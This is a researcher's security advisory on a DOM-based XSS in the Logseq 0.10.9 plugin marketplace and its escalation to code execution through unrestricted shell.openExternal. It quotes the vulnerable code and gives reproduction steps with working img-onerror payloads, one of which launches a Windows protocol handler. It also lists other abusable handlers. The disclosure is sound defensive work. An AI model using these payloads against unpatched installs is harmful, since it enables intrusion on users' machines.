Vulnerability Summary
During security testing of the Logseq (Desktop/Android) application [1][2], version 0.10.9, a critical-severity DOM-based Cross-Site Scripting (XSS) vulnerability [3] was identified in the marketplace.html
endpoint. An attacker can host a malicious Logseq plugin on GitHub with JavaScript embedded in the plugin’s README.md
. When this README is rendered inside the Logseq plugin marketplace, unsanitized input from the document location is directly injected into innerHTML
which results in arbitrary JavaScript execution. Furthermore, the absence of an allowlist for shell.openExternal
(exposed via window.cljs
) allows this DOM-based XSS to escalate to Remote Code Execution (RCE) [4] by abusing system-level protocol handlers.
Technical Details
DOM-based Cross-Site Scripting (XSS) in the marketplace for plugins
- File:
resources/app/marketplace.html
- Line: 82
- Description: Unsanitized input from the document’s location (URL parameters) is directly injected into the DOM using
innerHTML
, which can lead to DOM-based XSS (DOMXSS). The renderedREADME.md
content from an attacker-controlled GitHub repository is parsed and inserted into the page without proper sanitization. - Vulnerability Explanation: The application parses the plugin’s Github repository README content using
marked.parse()
and immediately injects it into the DOM viainnerHTML
(setContent(content)
), without applying any HTML sanitization. If an attacker embeds arbitrary JavaScript into the README file of their plugin Github repository, the code will be executed. This attack is DOM-based because the payload is executed client-side and relies on dynamic manipulation of therepo
parameter in the URL.
. . .
<script>
;(async function () {
const app = document.getElementById('app')
const url = new URL(location.href)
const setMsg = (msg) => app.innerHTML = `<strong>${msg}</strong>`
const repo = url.searchParams.get('repo')
if (!repo) {
return setMsg('Repo parameter not found!')
}
const setContent = (content) => app.innerHTML = `<main class="markdown-body">${content}</main>`
const endpoint = (repo, branch, file) => `https://raw.githubusercontent.com/${repo}/${branch}/${file}`
. . .
content = marked.parse(content).replace('src="./', `src="${fixLink('')}`)
setContent(content)
}())
</script>
. . .
Lack of Protocol Validation in Electron’s Window Logic
- File:
src/electron/electron/window.cljs
- Line: 133
- Description: The function
open-default-app!
callsshell.openExternal
to open external URLs, but only filters for a basic set of protocols (http
,https
,mailto
) in a limited conditional. There is no comprehensive allowlist to prevent invoking custom or system-level protocol handlers, leaving the application vulnerable to abuse. - Vulnerability Explanation: Electron’s
shell.openExternal()
has the ability to invoke OS-level protocol handlers. Since there is no strict allowlist enforced here, an attacker who gains JavaScript execution via the aforementioned DOM-based XSS can craft a payload that performs Remote Code Execution (RCE) via system-level protocols.
. . .
(defn- open-default-app!
[url default-open]
(let [URL (.-URL URL)
parsed-url (try (URL. url) (catch :default _ nil))]
(if (and parsed-url (contains? #{"https:" "http:" "mailto:"} (.-protocol parsed-url)))
(.openExternal shell url)
(when default-open (default-open url)))))
. . .
CVSS v3.1 Metrics
Metric | Value |
---|---|
Base Score | 9.6 (Critical) |
Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Weakness Enumeration
CWE ID | Description |
---|---|
CWE-79 | Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
CWE-20 | Improper Input Validation (covers the insufficient validation of the repo parameter and lack of filtering in protocol handling) |
CWE-116 | Improper Encoding or Escaping of Output (specific to the unsafe use of innerHTML without sanitization) |
CWE-184 | Incomplete List of Disallowed Inputs (the protocol filter only included a few values instead of using a secure allowlist) |
CWE-94 | Improper Control of Generation of Code (‘Code Injection’) (Arbitrary JavaScript execution, which then calls OS level protocols, effectively becomes code injection) |
CWE-749 | Exposed Dangerous Method or Function (the exposure of shell.openExternal without restriction) |
Proof of Concept (PoC) Exploit
- Logseq Desktop/Android application version 0.10.9 was tested on Microsoft Windows 10 and Microsoft Windows 11.
- For demonstration purposes, Developer Mode must be enabled. To do so, open the application, click on
More ( ... icon)
, selectSettings
, go toAdvanced
and enableDeveloper mode
.- PoC Github repository: https://github.com/martinkubecka/Logseq-XSS-RCE-PoC
- PoC video demonstration: https://www.youtube.com/watch?v=cBP4TA-BioY
Steps to Reproduce
- Launch the Logseq application.
- In the upper-right corner, click on
More ( ... icon)
, choosePlugins
, then open theMarketplace
. - Click on any available plugin, for example:
Journals Calendar
. - Press
Ctrl + Shift + I
to open DevTools and navigate to the Console tab. - Paste and execute the following code to load the malicious README from an attacker-controlled GitHub repository.
document.querySelector("iframe.lsp-frame-readme").src = "lsp://logseq.com/marketplace.html?repo=martinkubecka/Logseq-Testing";
After executing the command above:
The iframe.lsp-frame-readme
source is changed to load the README file from the martinkubecka/Logseq-XSS-RCE-PoC
GitHub repository.
This README contains a benign proof-of-concept demonstrating:
- A basic XSS payload:
<img src=x onerror="alert('XSS')">
. - A chained XSS to RCE payload using a demonstration system protocol handler, resulting in the calculator app being executed on Windows system:
<img src=x onerror="window.location='ms-calculator://'">
.
This PoC demonstrates on a benign example the critical impact of unsanitized user input combined with insufficient protocol filtering.
Recommended Mitigations
To address the DOM-based XSS and RCE risks stemming from the combination of unsanitized HTML rendering and protocol misuse, the following mitigations are recommended:
- Sanitize rendered plugin README content in
marketplace.html
: Input from the repo query parameter is fetched from GitHub and injected directly into the DOM via innerHTML after being parsed bymarked.parse()
. This content should be sanitized before being inserted. - Implement protocol allowlisting in
window.cljs
: Introduce a strict allowlist of supported protocols and explicitly block others, especially system-level handlers unless explicitly needed for functionality.
Vendor Response & Patch Information
The Logseq development team responded promptly to the reported DOM-based XSS vulnerability by integrating the DOMPurify [5] library to sanitize plugin README content rendered in the marketplace. This change mitigates the risk of arbitrary JavaScript execution originating from attacker-controlled plugin metadata.
The fix was incorporated in the release based on the Logseq DB branch. Relevant code changes include:
- Addition of the
dompurify
library to the build process ingulpfile.js
. - Inclusion of
purify.js
in the HTML rendering logic inresources/marketplace.html
. - Sanitization of parsed README content using
DOMPurify.sanitize()
before injection into the DOM. - A minor update in
plugins.cljs
to ensure correct iframe source resolution.
The patch can be reviewed in this GitHub commit.
While the DOM-based XSS was addressed effectively, the second issue, Lack of Protocol Validation in Electron’s Window Logic, remained unresolved at the time of patch confirmation. On April 29th, 2025, this concern was explicitly communicated to the Logseq support team along with a recommendation to assign CVE ID(s) to both vulnerabilities.
Although system-level protocol handlers are not implemented by the Logseq application itself, the lack of strict validation in its shell.openExternal
usage enables attackers to exploit them [6]. Electron’s shell.openExternal()
API delegates URL handling to the underlying operating system [7]. Once an attacker achieves JavaScript execution, they can invoke handlers such as search-ms:
, ms-excel:
, or ms-word:
to execute arbitrary commands or launch native applications [8]. For instance, abuse of the search-ms:
handler has enabled attackers to remotely execute files from SMB shares via malicious search window shortcuts [9]. The infamous Follina vulnerability exploited the ms-msdt:
protocol to achieve code execution through a crafted Office document [10]. Likewise, protocols like ms-excel:
and ms-word:
have been weaponized in phishing campaigns to silently launch Office apps with remote templates [11]. Without proper validation and the use of security best practices, even Electron applications that appear sandboxed can be exploited to interact with the underlying operating system in unintended and potentially high-risk ways.
References
- [1] https://logseq.com/
- [2] https://github.com/logseq/logseq
- [3] https://portswigger.net/web-security/cross-site-scripting/dom-based
- [4] https://www.splunk.com/en_us/blog/learn/rce-remote-code-execution.html
- [5] https://github.com/cure53/DOMPurify
- [6] https://benjamin-altpeter.de/shell-openexternal-dangers/
- [7] https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-shellopenexternal-with-untrusted-content
- [8] https://positive.security/blog/url-open-rce
- [9] https://www.bleepingcomputer.com/news/security/new-windows-search-zero-day-added-to-microsoft-protocol-nightmare/
- [10] https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html
- [11] https://blog.syss.com/posts/abusing-ms-office-protos/
Timeline
- 2025-04-23: I disclosed the vulnerabilities to the Logseq support team.
- 2025-04-25: The Logseq support team acknowledged the findings and addressed the DOM-based Cross-Site Scripting (XSS) vulnerability with a fix.
- 2025-04-29: I confirmed the patch for the DOM-based XSS and notified the Logseq support team that the Lack of Protocol Validation in Electron’s Window Logic remained unaddressed, I also recommended assigning CVE ID(s) to these findings.
- 2025-07-08: Due to no follow-up from the Logseq support team regarding the second vulnerability and CVE assignment, I requested CVE ID(s) directly from MITRE.
- 2025-09-30: CVE ID assigned.
- 2025-10-01: Public release of the security advisory.